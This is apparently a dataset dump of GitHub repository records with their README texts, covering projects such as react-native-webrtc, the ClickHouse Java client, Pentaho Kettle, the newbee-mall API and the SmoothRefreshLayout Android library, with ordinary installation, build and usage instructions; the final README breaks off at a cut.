[LINE Corporation](https://engineering.linecorp.com/en/). ## Requirements - Java 8 or later if you are a user. - See [the developer guide](https://armeria.dev/community/developer-guide/) if you are building Armeria. ## How to reach us — chat, questions and newsletters Visit [the community](https://armeria.dev/community/) to chat with us, ask questions and learn how to contribute. ## Hall of fame See [the complete list of our contributors](https://github.com/line/armeria/contributors). <img src="https://opencollective.com/armeria/contributors.svg?width=890&button=false" title="Contributors" alt="Contributors" />
0
Minestom/Minestom
1.20.4 Lightweight Minecraft server
2019-08-03T13:22:27Z
null
null
0
react-native-webrtc/react-native-webrtc
The WebRTC module for React Native
2015-09-27T10:57:30Z
null
[<img src="https://avatars.githubusercontent.com/u/42463376" alt="React Native WebRTC" style="height: 6em;" />](https://github.com/react-native-webrtc/react-native-webrtc) # React-Native-WebRTC [![npm version](https://img.shields.io/npm/v/react-native-webrtc)](https://www.npmjs.com/package/react-native-webrtc) [![npm downloads](https://img.shields.io/npm/dm/react-native-webrtc)](https://www.npmjs.com/package/react-native-webrtc) [![Discourse topics](https://img.shields.io/discourse/topics?server=https%3A%2F%2Freact-native-webrtc.discourse.group%2F)](https://react-native-webrtc.discourse.group/) A WebRTC module for React Native. ## Feature Overview | | Android | iOS | tvOS | macOS* | Windows* | Web* | Expo* | | :- | :-: | :-: | :-: | :-: | :-: | :-: | :-: | | Audio/Video | :heavy_check_mark: | :heavy_check_mark: | :heavy_check_mark: | - | - | :heavy_check_mark: | :heavy_check_mark: | | Data Channels | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | | Screen Capture | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | | Plan B | - | - | - | - | - | - | - | | Unified Plan* | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | | Simulcast* | :heavy_check_mark: | :heavy_check_mark: | - | - | - | :heavy_check_mark: | :heavy_check_mark: | > **macOS** - We don't currently actively support macOS at this time. Support might return in the future. > **Windows** - We don't currently support the [react-native-windows](https://github.com/microsoft/react-native-windows) platform at this time. Anyone interested in getting the ball rolling? We're open to contributions. > **Web** - The [react-native-webrtc-web-shim](https://github.com/react-native-webrtc/react-native-webrtc-web-shim) project provides a shim for [react-native-web](https://github.com/necolas/react-native-web) support. Which will allow you to use [(almost)](https://github.com/react-native-webrtc/react-native-webrtc-web-shim/tree/main#setup) the exact same code in your [react-native-web](https://github.com/necolas/react-native-web) project as you would with [react-native](https://reactnative.dev/) directly. > **Expo** - As this module includes native code it is not available in the [Expo Go](https://expo.dev/client) app by default. However you can get things working via the [expo-dev-client](https://docs.expo.dev/development/getting-started/) library and out-of-tree [config-plugins/react-native-webrtc](https://github.com/expo/config-plugins/tree/master/packages/react-native-webrtc) package. > **Unified Plan** - As of version 106.0.0 Unified Plan is the only supported mode. Those still in need of Plan B will need to use an older release. > **Simulcast** - As of version 111.0.0 Simulcast is now possible with ease. Software encode/decode factories have been enabled by default. ## WebRTC Revision * Currently used revision: [M118](https://github.com/jitsi/webrtc/tree/M118) * Supported architectures * Android: armeabi-v7a, arm64-v8a, x86, x86_64 * iOS: arm64, x86_64 * tvOS: arm64 * macOS: (temporarily disabled) ## Getting Started Use one of the following preferred package install methods to immediately get going. Don't forget to follow platform guides below to cover any extra required steps. **npm:** `npm install react-native-webrtc --save` **yarn:** `yarn add react-native-webrtc` **pnpm:** `pnpm install react-native-webrtc` ## Guides - [Android Install](./Documentation/AndroidInstallation.md) - [iOS Install](./Documentation/iOSInstallation.md) - [tvOS Install](./Documentation/tvOSInstallation.md) - [Basic Usage](./Documentation/BasicUsage.md) - [Step by Step Call Guide](./Documentation/CallGuide.md) - [Improving Call Reliability](./Documentation/ImprovingCallReliability.md) - [Migrating to Unified Plan](https://docs.google.com/document/d/1-ZfikoUtoJa9k-GZG1daN0BU3IjIanQ_JSscHxQesvU/edit#heading=h.wuu7dx8tnifl) ## Example Projects We have some very basic example projects included in the [examples](./examples) directory. Don't worry, there are plans to include a much more broader example with backend included. ## Community Come join our [Discourse Community](https://react-native-webrtc.discourse.group/) if you want to discuss any React Native and WebRTC related topics. Everyone is welcome and every little helps. ## Related Projects Looking for extra functionality coverage? The [react-native-webrtc](https://github.com/react-native-webrtc) organization provides a number of packages which are more than useful when developing Real Time Communication applications.
0
ClickHouse/clickhouse-java
Java client and JDBC driver for ClickHouse
2016-07-15T12:48:27Z
null
# ClickHouse Java Libraries [![GitHub release (latest SemVer including pre-releases)](https://img.shields.io/github/v/release/ClickHouse/clickhouse-java?style=plastic&include_prereleases&label=Latest%20Release)](https://github.com/ClickHouse/clickhouse-java/releases/) [![GitHub release (by tag)](https://img.shields.io/github/downloads/ClickHouse/clickhouse-java/latest/total?style=plastic)](https://github.com/ClickHouse/clickhouse-java/releases/) [![Coverage](https://sonarcloud.io/api/project_badges/measure?project=ClickHouse_clickhouse-jdbc&metric=coverage)](https://sonarcloud.io/summary/new_code?id=ClickHouse_clickhouse-jdbc) [![Sonatype Nexus (Snapshots)](https://img.shields.io/nexus/s/com.clickhouse/clickhouse-java?style=plastic&label=Nightly%20Build&server=https%3A%2F%2Fs01.oss.sonatype.org)](https://s01.oss.sonatype.org/content/repositories/snapshots/com/clickhouse/) [![GitHub milestone](https://img.shields.io/github/milestones/progress-percent/ClickHouse/clickhouse-java/4?style=social)](https://github.com/ClickHouse/clickhouse-java/milestone/4) Java libraries for connecting to ClickHouse and processing data in various formats. Java client is async, lightweight, and low-overhead library for ClickHouse; while JDBC and R2DBC drivers are built on top of the Java client with more dependencies and features. Java 8 or higher is required to use the libraries. In addition, please use ClickHouse 20.7+ or any of [active releases](https://github.com/ClickHouse/ClickHouse/pulls?q=is%3Aopen+is%3Apr+label%3Arelease). ![image](https://user-images.githubusercontent.com/4270380/212460181-2b806482-bc1c-492c-bd69-cdeb2c8845b5.png) ## Features | Category | Feature | Supported | Remark | | ----------------- | ----------------------------------------------------------------------------------- | ------------------ |--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | API | [JDBC](https://docs.oracle.com/javase/8/docs/technotes/guides/jdbc/) | :white_check_mark: | | | | [R2DBC](https://r2dbc.io/) | :white_check_mark: | supported since 0.4.0 | | Protocol | [HTTP](https://clickhouse.com/docs/en/interfaces/http/) | :white_check_mark: | recommended, defaults to `java.net.HttpURLConnection` and it can be changed to `java.net.http.HttpClient`(unstable) or `Apache HTTP Client 5`. Note that the latter was added in 0.4.0 to support custom socket options. | | | [gRPC](https://clickhouse.com/docs/en/interfaces/grpc/) | :white_check_mark: | :warning: experimental, works with 22.3+, known to has issue with lz4 compression and may cause high memory usage on server. Planed to be removed from version 0.7.0 | | | [TCP/Native](https://clickhouse.com/docs/en/interfaces/tcp/) | :x: | `clickhouse-cli-client`(wrapper of ClickHouse native command-line client) was added in 0.3.2-patch10. | | | [Local/File](https://clickhouse.com/docs/en/operations/utilities/clickhouse-local/) | :x: | `clickhouse-cli-client` will be enhanced to support `clickhouse-local` | | Compatibility | Server < 20.7 | :x: | use 0.3.1-patch(or 0.2.6 if you're stuck with JDK 7) | | | Server >= 20.7 | :white_check_mark: | use 0.3.2 or above. All [active releases](https://github.com/ClickHouse/ClickHouse/pulls?q=is%3Aopen+is%3Apr+label%3Arelease) are supported. | | Compression | [lz4](https://lz4.github.io/lz4/) | :white_check_mark: | default | | | [zstd](https://facebook.github.io/zstd/) | :white_check_mark: | supported since 0.4.0, works with ClickHouse 22.10+ | | Data Format | RowBinary | :white_check_mark: | `RowBinaryWithNamesAndTypes` for query and `RowBinary` for insertion | | | TabSeparated | :white_check_mark: | :warning: does not support as many data types as RowBinary | | Data Type | AggregateFunction | :white_check_mark: | :warning: does not support `SELECT * FROM table ...` | | | Array(\*) | :white_check_mark: | | | | Bool | :white_check_mark: | | | | Date\* | :white_check_mark: | | | | DateTime\* | :white_check_mark: | | | | Decimal\* | :white_check_mark: | `SET output_format_decimal_trailing_zeros=1` in 21.9+ for consistency | | | Enum\* | :white_check_mark: | can be treated as both string and integer | | | Geo Types | :white_check_mark: | Point, Ring, Polygon, and MultiPolygon | | | Int\*, UInt\* | :white_check_mark: | UInt64 is mapped to `long` | | | IPv\* | :white_check_mark: | | | | Map(\*) | :white_check_mark: | | | | Nested(\*) | :white_check_mark: | :warning: broken before 0.4.1 | | | Object('JSON') | :white_check_mark: | supported since 0.3.2-patch8 | | | SimpleAggregateFunction | :white_check_mark: | | | | \*String | :white_check_mark: | :warning: requires `use_binary_string=true` for binary string support since v0.4.0 | | | Tuple(\*) | :white_check_mark: | | | | UUID | :white_check_mark: | | | High Availability | Load Balancing | :white_check_mark: | supported since 0.3.2-patch10 | | | Failover | :white_check_mark: | supported since 0.3.2-patch10 | | Transaction | Transaction | :white_check_mark: | supported since 0.3.2-patch11, use ClickHouse 22.7+ for native implicit transaction support | | | Savepoint | :x: | | | | XAConnection | :x: | | | Misc. | Centralized Configuration | :white_check_mark: | supported since 0.4.2, limited to JDBC driver and requires custom server setting `custom_jdbc_config` for all connected JDBC clients - [#1290](../../pull/1290) | | | INFILE & OUTFILE | :white_check_mark: | supported since 0.4.2, limited to JDBC driver and requires `localFile` option - [#1291](../../pull/1291) | | | Implicit Type Conversion | :white_check_mark: | String/number to Date/Time/Timestamp and more | | | Object mapping | :white_check_mark: | supported since 0.4.6, slow and limited to simple data types | ## Planed to be removed | Feature | Version | Remark | |--------------------------------|---------|--------------------------------------------------| | Clickhouse ClI Client package | 0.7.0 | Use clickhouse-client directly instead | | ClickHouse GRPC Client package | 0.7.0 | Please use the clickhouse http protocol instead | ## Usage The library can be downloaded from both [Github Releases](../../releases) and [Maven Central](https://repo1.maven.org/maven2/com/clickhouse/). Development snapshots(aka. nightly build) are available on [Sonatype OSSRH](https://s01.oss.sonatype.org/content/repositories/snapshots/com/clickhouse/). ```xml <repositories> <repository> <id>ossrh</id> <name>Sonatype OSSRH</name> <url>https://s01.oss.sonatype.org/content/repositories/snapshots/</url> </repository> </repositories> ``` ### Java Client See [examples](../../tree/main/examples/client) and the [docs on the ClickHouse website](https://clickhouse.com/docs/en/integrations/language-clients/java/client). ### JDBC Driver See [examples](../../tree/main/examples/jdbc) and the [docs on the ClickHouse website](https://clickhouse.com/docs/en/integrations/language-clients/java/jdbc). ## Contributing Check out our [contributing guide](./CONTRIBUTING.md).
0
pentaho/pentaho-kettle
Pentaho Data Integration ( ETL ) a.k.a Kettle
2013-10-08T18:27:11Z
null
# Pentaho Data Integration # Pentaho Data Integration ( ETL ) a.k.a Kettle ### Project Structure * **assemblies:** Project distribution archive is produced under this module * **core:** Core implementation * **dbdialog:** Database dialog * **ui:** User interface * **engine:** PDI engine * **engine-ext:** PDI engine extensions * **[plugins:](plugins/README.md)** PDI core plugins * **integration:** Integration tests How to build -------------- Pentaho Data Integration uses the Maven framework. #### Pre-requisites for building the project: * Maven, version 3+ * Java JDK 11 * This [settings.xml](https://raw.githubusercontent.com/pentaho/maven-parent-poms/master/maven-support-files/settings.xml) in your <user-home>/.m2 directory #### Building it This is a Maven project, and to build it use the following command: ``` $ mvn clean install ``` Optionally you can specify -Drelease to trigger obfuscation and/or uglification (as needed) Optionally you can specify -Dmaven.test.skip=true to skip the tests (even though you shouldn't as you know) The build result will be a Pentaho package located in ```target```. #### Packaging / Distributing it Packages can be built by using the following command: ``` $ mvn clean package ``` The packaged results will be in the `target/` sub-folders of `assemblies/*`. For example, a distribution of the Desktop Client (CE) can then be found in: `assemblies/client/target/pdi-ce-*-SNAPSHOT.zip`. #### Running the tests __Unit tests__ This will run all unit tests in the project (and sub-modules). To run integration tests as well, see Integration Tests below. ``` $ mvn test ``` If you want to remote debug a single Java unit test (default port is 5005): ``` $ cd core $ mvn test -Dtest=<<YourTest>> -Dmaven.surefire.debug ``` __Integration tests__ In addition to the unit tests, there are integration tests that test cross-module operation. This will run the integration tests. ``` $ mvn verify -DrunITs ``` To run a single integration test: ``` $ mvn verify -DrunITs -Dit.test=<<YourIT>> ``` To run a single integration test in debug mode (for remote debugging in an IDE) on the default port of 5005: ``` $ mvn verify -DrunITs -Dit.test=<<YourIT>> -Dmaven.failsafe.debug ``` To skip test ``` $ mvn clean install -DskipTests ``` To get log as text file ``` $ mvn clean install test >log.txt ``` __IntelliJ__ * Don't use IntelliJ's built-in maven. Make it use the same one you use from the commandline. * Project Preferences -> Build, Execution, Deployment -> Build Tools -> Maven ==> Maven home directory ### Contributing 1. Submit a pull request, referencing the relevant [Jira case](https://jira.pentaho.com/secure/Dashboard.jspa) 2. Attach a Git patch file to the relevant [Jira case](https://jira.pentaho.com/secure/Dashboard.jspa) Use of the Pentaho checkstyle format (via `mvn checkstyle:check` and reviewing the report) and developing working Unit Tests helps to ensure that pull requests for bugs and improvements are processed quickly. When writing unit tests, you have at your disposal a couple of ClassRules that can be used to maintain a healthy test environment. Use [RestorePDIEnvironment](core/src/test/java/org/pentaho/di/junit/rules/RestorePDIEnvironment.java) and [RestorePDIEngineEnvironment](engine/src/test/java/org/pentaho/di/junit/rules/RestorePDIEngineEnvironment.java) for core and engine tests respectively. pex.: ```java public class MyTest { @ClassRule public static RestorePDIEnvironment env = new RestorePDIEnvironment(); #setUp()... @Test public void testSomething() { assertTrue( myMethod() ); } } ``` ### Asking for help Please go to https://community.hitachivantara.com/community/products-and-solutions/pentaho/ to ask questions and get help.
0
newbee-ltd/newbee-mall-api
🔥 🎉新蜂商城前后端分离版本-后端API源码
2020-05-25T16:01:09Z
null
![](static-files/newbee-mall.png) ![Build Status](https://img.shields.io/badge/build-passing-green.svg) ![Version 2.0.0](https://img.shields.io/badge/version-2.0.0-yellow.svg) [![License](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/newbee-ltd/newbee-mall-api/blob/master/LICENSE) newbee-mall 项目是一套电商系统,基于 Spring Boot 和 Vue 以及相关技术栈开发。前台商城系统包含首页门户、商品分类、新品上线、首页轮播、商品推荐、商品搜索、商品展示、购物车、订单结算、订单流程、个人订单管理、会员中心、帮助中心等模块。 后台管理系统包含数据面板、轮播图管理、商品管理、订单管理、会员管理、分类管理、设置等模块。 当前分支的 Spring Boot 版本为 2.7.5,想要学习和使用其它版本可以直接点击下方的分支名称跳转至对应的仓库分支中。 | 分支名称 | Spring Boot Version | | ------------------------------------------------------------ | ------------------- | | [spring-boot-2.3.7](https://github.com/newbee-ltd/newbee-mall-api/tree/spring-boot-2.3.7) | 2.3.7-RELEASE | | [spring-boot-2.6.x](https://github.com/newbee-ltd/newbee-mall-api/tree/spring-boot-2.6.x) | 2.6.3 | | [main](https://github.com/newbee-ltd/nnewbee-mall-api) | 2.7.5 | | [spring-boot-3.x](https://github.com/newbee-ltd/newbee-mall-api/tree/spring-boot-3.x) | 3.1.0 | **坚持不易,如果觉得项目还不错的话可以给项目一个 Star 吧,也是对我一直更新代码的一种鼓励啦,谢谢各位的支持。** ![newbee-mall-info](https://newbee-mall.oss-cn-beijing.aliyuncs.com/poster/store/newbee-mall-star.png) ## newbee-mall (新蜂商城)系列项目概览 ![newbee-mall-course-2022](https://github.com/newbee-ltd/newbee-mall-cloud/raw/main/static-files/newbee-mall-course-2023.png) | 项目名称 | 仓库地址 | 备注 | | :------------------- | ------------------------------------------------------------ | ------------------------------------------------------------ | | newbee-mall | [newbee-mall in GitHub](https://github.com/newbee-ltd/newbee-mall)<br>[newbee-mall in Gitee](https://gitee.com/newbee-ltd/newbee-mall) | 初始版本、Spring Boot、Thymeleaf、MyBatis、MySQL | | newbee-mall-plus | [newbee-mall-plus in GitHub](https://github.com/newbee-ltd/newbee-mall-plus)<br/>[newbee-mall-plus in Gitee](https://gitee.com/newbee-ltd/newbee-mall-plus) | 升级版本、优惠券、秒杀、支付、Spring Boot、Thymeleaf、MyBatis、MySQL、Redis | | newbee-mall-cloud | [newbee-mall-cloud in GitHub](https://github.com/newbee-ltd/newbee-mall-cloud)<br/>[newbee-mall-cloud in Gitee](https://gitee.com/newbee-ltd/newbee-mall-cloud) | 微服务版本、分布式事务、Spring Cloud Alibaba、Nacos、Sentinel、OpenFeign、Seata | | newbee-mall-api | [newbee-mall-api in GitHub](https://github.com/newbee-ltd/newbee-mall-api)<br/>[newbee-mall-api in Gitee](https://gitee.com/newbee-ltd/newbee-mall-api) | 前后端分离、Spring Boot、MyBatis、Swagger、MySQL | | newbee-mall-api-go | [newbee-mall-api-go in GitHub](https://github.com/newbee-ltd/newbee-mall-api-go)<br/>[newbee-mall-api-go in Gitee](https://gitee.com/newbee-ltd/newbee-mall-api-go) | 前后端分离、Go、Gin、MySQL | | newbee-mall-vue-app | [newbee-mall-vue-app in GitHub](https://github.com/newbee-ltd/newbee-mall-vue-app)<br/>[newbee-mall-vue-app in Gitee](https://gitee.com/newbee-ltd/newbee-mall-vue-app) | 前后端分离、Vue2、Vant | | newbee-mall-vue3-app | [newbee-mall-vue3-app in GitHub](https://github.com/newbee-ltd/newbee-mall-vue3-app)<br/>[newbee-mall-vue3-app in Gitee](https://gitee.com/newbee-ltd/newbee-mall-vue3-app) | 前后端分离、Vue3、Vue-Router4、Vuex4、Vant3 | | vue3-admin | [vue3-admin in GitHub](https://github.com/newbee-ltd/vue3-admin)<br/>[vue3-admin in Gitee](https://gitee.com/newbee-ltd/vue3-admin) | 前后端分离、Vue3、Element-Plus、Vue-Router4、Vite | > 更多 Spring Boot 实战项目可以关注十三的另一个代码仓库 [spring-boot-projects](https://github.com/ZHENFENG13/spring-boot-projects),该仓库中主要是 Spring Boot 的入门学习教程以及一些常用的 Spring Boot 实战项目教程,包括 Spring Boot 使用的各种示例代码,同时也包括一些实战项目的项目源码和效果展示,实战项目包括基本的 web 开发以及目前大家普遍使用的前后端分离实践项目等,后续会根据大家的反馈继续增加一些实战项目源码,摆脱各种 hello world 入门案例的束缚,真正的掌握 Spring Boot 开发。 关注公众号:**程序员十三**,回复"勾搭"进群交流。 ![wx-gzh](https://newbee-mall.oss-cn-beijing.aliyuncs.com/wx-gzh/%E7%A8%8B%E5%BA%8F%E5%91%98%E5%8D%81%E4%B8%89-%E5%85%AC%E4%BC%97%E5%8F%B7.png) ## 开发及部署文档 #### Vue3 + Spring Boot 版本 - [开篇词:通关 Vue3 企业级项目开发,升职加薪快人一步](https://juejin.cn/book/6933939264455442444) - [项目须知和课程约定](https://juejin.cn/book/6933939264455442444) - [大势所趋:“前后端分离”开发模式](https://juejin.cn/book/6933939264455442444) - [Vue3 简介及开发环境搭建](https://juejin.cn/book/6933939264455442444) - [Vue3 组合 API 入口 Setup 浅析](https://juejin.cn/book/6933939264455442444) - [Vue3 之响应式系统 API](https://juejin.cn/book/6933939264455442444) - [Vue3 之生命周期钩子函数、提供注入](https://juejin.cn/book/6933939264455442444) - [Vue3 性能和业务层面上的提升](https://juejin.cn/book/6933939264455442444) - [Vite2 原理分析及简单插件编写](https://juejin.cn/book/6933939264455442444) - [Vue-Router4 使用方法及路由原理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战项目启动篇](https://juejin.cn/book/6933939264455442444) - [后端 API 开发技术选型之 Spring Boot](https://juejin.cn/book/6933939264455442444) - [后端基础运行环境和开发工具准备](https://juejin.cn/book/6933939264455442444) - [Spring Boot 项目搭建及快速上手](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之 Web 功能开发](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之文件上传处理](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之整合 MyBatis 操作数据库](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之整合 Lombok](https://juejin.cn/book/6933939264455442444) - [Spring Boot 实践之整合 Swagger 生成接口文档](https://juejin.cn/book/6933939264455442444) - [后端 API 项目启动和运行注意事项](https://juejin.cn/book/6933939264455442444) - [接口参数处理和统一响应结果](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之用户登录接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之用户身份认证详解](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之轮播图管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之商品分类管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之商品管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之商品配置管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [API 接口开发实战之订单管理模块接口开发](https://juejin.cn/book/6933939264455442444) - [前后端鉴权的四种方式](https://juejin.cn/book/6933939264455442444) - [Vite2 + Vue3 + Element-plus 搭建管理后台项目](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之管理后台左右栏目布局](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之登录鉴权](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之首页大盘数据](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之首页配置](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之分类管理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之商品管理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之订单管理](https://juejin.cn/book/6933939264455442444) - [Vue3 实战之会员管理、账户修改](https://juejin.cn/book/6933939264455442444) - [pm2 实现一键部署云端服务器](https://juejin.cn/book/6933939264455442444) - [常见问题汇总讲解](https://juejin.cn/book/6933939264455442444) #### Vue3 + Spring Boot 商城升级版本 - [开篇词:手把手带你搭建Vue3+Spring Boot大型前后端分离项目](https://juejin.im/book/6844733826191589390) - [项目须知和课程约定](https://juejin.im/book/6844733826191589390) - [2023年2月小册全新优化升级](https://juejin.im/book/6844733826191589390) - [全栈开发!你必须要知道的“前后端分离”](https://juejin.im/book/6844733826191589390) - [前端模块化的发展历史](https://juejin.im/book/6844733826191589390) - [传统页面和单页面的权衡与抉择](https://juejin.im/book/6844733826191589390) - [准备工作及基础环境搭建(后端)](https://juejin.im/book/6844733826191589390) - [Spring Boot 项目初体验--项目搭建及启动](https://juejin.im/book/6844733826191589390) - [项目编码简化利器!Spring Boot 整合 Lombok](https://juejin.im/book/6844733826191589390) - [Lombok 插件问题处理](https://juejin.im/book/6844733826191589390) - [商城后端项目启动和运行注意事项](https://juejin.im/book/6844733826191589390) - [VSCode 的相关配置及插件介绍](https://juejin.im/book/6844733826191589390) - [基础篇:Vue 指令](https://juejin.im/book/6844733826191589390) - [Vue3 新特性介绍](https://juejin.im/book/6844733826191589390) - [基础篇: CSS 预处理工具Less的介绍及使用](https://juejin.im/book/6844733826191589390) - [脚手架工具 Vite](https://juejin.im/book/6844733826191589390) - [Vue-Router 浅析原理及使用](https://juejin.im/book/6844733826191589390) - [全局状态管理插件 Pinia 简介及使用](https://juejin.im/book/6844733826191589390) - [商城前端 H5 开发环境搭建及项目启动](https://juejin.im/book/6844733826191589390) - [前后端交互文档利器!Spring Boot 整合 Swagger](https://juejin.im/book/6844733826191589390) - [接口参数处理和统一响应结果](https://juejin.im/book/6844733826191589390) - [口设计规范及接口调用实践](https://juejin.im/book/6844733826191589390) - [商城开发实战-用户登录接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-用户身份认证详解](https://juejin.im/book/6844733826191589390) - [商城开发实战-首页模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-分类模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-商品搜索模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-购物车模块接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-个人信息及收货地址接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-下单流程接口开发](https://juejin.im/book/6844733826191589390) - [商城开发实战-订单处理流程详解](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-新蜂商城底部导航(抽离公共组件)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-新蜂商城登录注册页(前端鉴权)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商城首页制作(轮播图、首页商品列表)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商品分类页面制作(better-scrol的介绍及使用)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商品列表页面制作(无限滚动加载)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商品详情页面制作(Pinia 购物车数量全局管理)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-商城购物车页面制作(购物车页)](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-确认订单页面制作](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-地址栏管理页面制作](https://juejin.im/book/6844733826191589390) - [商城移动端开发实战-我的订单页面制作](https://juejin.im/book/6844733826191589390) - [常见问题汇总讲解](https://juejin.im/book/6844733826191589390) ## 联系作者 > 大家有任何问题或者建议都可以在 [issues](https://github.com/newbee-ltd/newbee-mall/issues) 中反馈给我,我会慢慢完善这个项目。 - 我的邮箱:2449207463@qq.com - QQ技术交流群:719099151 796794009 ## 软件著作权 >本系统已申请软件著作权,受国家版权局知识产权以及国家计算机软件著作权保护! ![](https://newbee-mall.oss-cn-beijing.aliyuncs.com/poster/store/newbee-mall-copyright-02.png) ## 接口文档 ![](static-files/newbee-mall-api-swagger.png) ## 页面展示 以下为新蜂商城 Vue 版本的页面预览: - 登录页 ![](static-files/登录.png) - 首页 ![](static-files/首页.png) - 商品搜索 ![](static-files/商品搜索.png) - 商品详情页 ![](static-files/详情页.png) - 购物车 ![](static-files/购物车.png) - 生成订单 ![](static-files/生成订单.png) - 地址管理 ![](static-files/地址管理.png) - 订单列表 ![](static-files/订单列表.png) - 订单详情 ![](static-files/订单详情.png) ## 感谢 - [spring-projects](https://github.com/spring-projects/spring-boot) - [mybatis](https://github.com/mybatis/mybatis-3) - [swagger](https://github.com/swagger-api) - [Lombok](https://github.com/rzwitserloot)
0
dkzwm/SmoothRefreshLayout
一款支持上下拉刷新、越界回弹、二级刷新、横向刷新、拉伸回弹、平滑滚动、嵌套滚动的多功能刷新控件
2017-05-31T09:27:16Z
null
# SmoothRefreshLayout ![Methods](https://img.shields.io/badge/Methods%20%7C%20Size-740%20%7C%2084%20KB-e91e63.svg) [![MinSdk](https://img.shields.io/badge/MinSdk-14-blue.svg)](https://developer.android.com/about/versions/android-4.0.html) [![License](https://img.shields.io/badge/License-MIT-blue.svg)](https://github.com/dkzwm/SmoothRefreshLayout/blob/master/LICENSE) ## [English](README_EN.md) | 中文 一个高效的Android刷新库,理论上支持所有的视图,比官方的SwipeRefreshLayout更强大且使用方便. ## 特性: - 理论上支持所有的视图,且可根据具体需求高效适配. - 支持多点触摸. - 支持嵌套滑动,完整实现了NestedScrollingChild3,NestedScrollingParent3 接口,玩转CoordinatorLayout. - 直接继承自ViewGroup,拥有卓越的性能,支持类FameLayout的特性(Gravity、Margin). - 支持自动刷新、自动上拉加载、到底自动加载更多(不推荐,建议使用Adapter实现,可自定义到底判断逻辑回调实现预加载更多). - 支持越界回弹,支持基于物理特性的越界回弹效果. - 支持刷新视图自定样式:STYLE_DEFAULT(默认不改变大小)、STYLE_SCALE(动态改变大小,会在SRL内部测量并布局,所以性能会有损失)、STYLE_PIN(不会改变视图大小,固定在顶部或者底部)、STYLE_FOLLOW_SCALE(先纵向跟随移动并且不改变视图大小,大于视图高度后动态改变视图大小且性能会有损失)、STYLE_FOLLOW_PIN(不会改变视图大小,先纵向跟随移动,大于视图高度后固定)、STYLE_FOLLOW_CENTER(不会改变视图大小,先纵向跟随移动,大于视图高度后让视图保持在移动的距离中心点). - 支持二级刷新事件(TwoLevelSmoothRefreshLayout),PS:淘宝二楼、京东活动. - 支持横向刷新(HorizontalSmoothRefreshLayout). - 支持ListView、GridView、RecyclerView加载更多的同步平滑滚动. - 支持手势:同步Fling(刷新视图仍可见的情况下,会先回滚隐藏刷新视图,而后向下传递Fling手势). - 支持作为可拉伸内部视图布局使用(类小米设置页效果). - 丰富的回调接口和调试信息,可利用现有API实现丰富的效果. ## 引入 添加如下依赖到你的 build.gradle 文件: ``` dependencies { implementation 'com.github.dkzwm:srl-core:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-classics:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-material:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-dynamic-rebound:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-horizontal:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-two-level:1.7.2.4' implementation 'com.github.dkzwm:srl-ext-util:1.7.2.4' } ``` ## 演示程序 下载 [Demo.apk](https://raw.githubusercontent.com/dkzwm/SmoothRefreshLayout/master/apk/demo.apk) ## 更新日志 #### 老版本升级务必查看 [更新日志](ext/UPDATE.md) ## 快照 ![嵌套滑动](snapshot/test_nested_scroll.gif) ![二级刷新](snapshot/test_two_level_refresh.gif) ---- ![横向刷新](snapshot/test_horizontal_refresh.gif) ![拉伸收缩效果](snapshot/test_scale_effect.gif) ---- ![QQ红包活动](snapshot/test_qq_style.gif) ![浏览器内核下拉展示](snapshot/test_qq_web_browser_style.gif) ## 使用 #### 在Xml中配置 ``` <?xml version="1.0" encoding="utf-8"?> <me.dkzwm.widget.srl.SmoothRefreshLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" android:id="@+id/refreshLayout" android:layout_width="match_parent" android:layout_height="match_parent"> <TextView android:layout_width="match_parent" android:layout_height="match_parent"/> </me.dkzwm.widget.srl.SmoothRefreshLayout> ``` #### Java代码配置 ``` SmoothRefreshLayout refreshLayout = (SmoothRefreshLayout)findViewById(R.id.smoothRefreshLayout); refreshLayout.setHeaderView(new ClassicHeader(this)); refreshLayout.setOnRefreshListener(new RefreshingListenerAdapter() { @Override public void onRefreshing() { mHandler.postDelayed(new Runnable() { @Override public void run() { refreshLayout.refreshComplete(); } }, 4000); } }); ``` #### 自定义刷新视图 ##### 接口定义 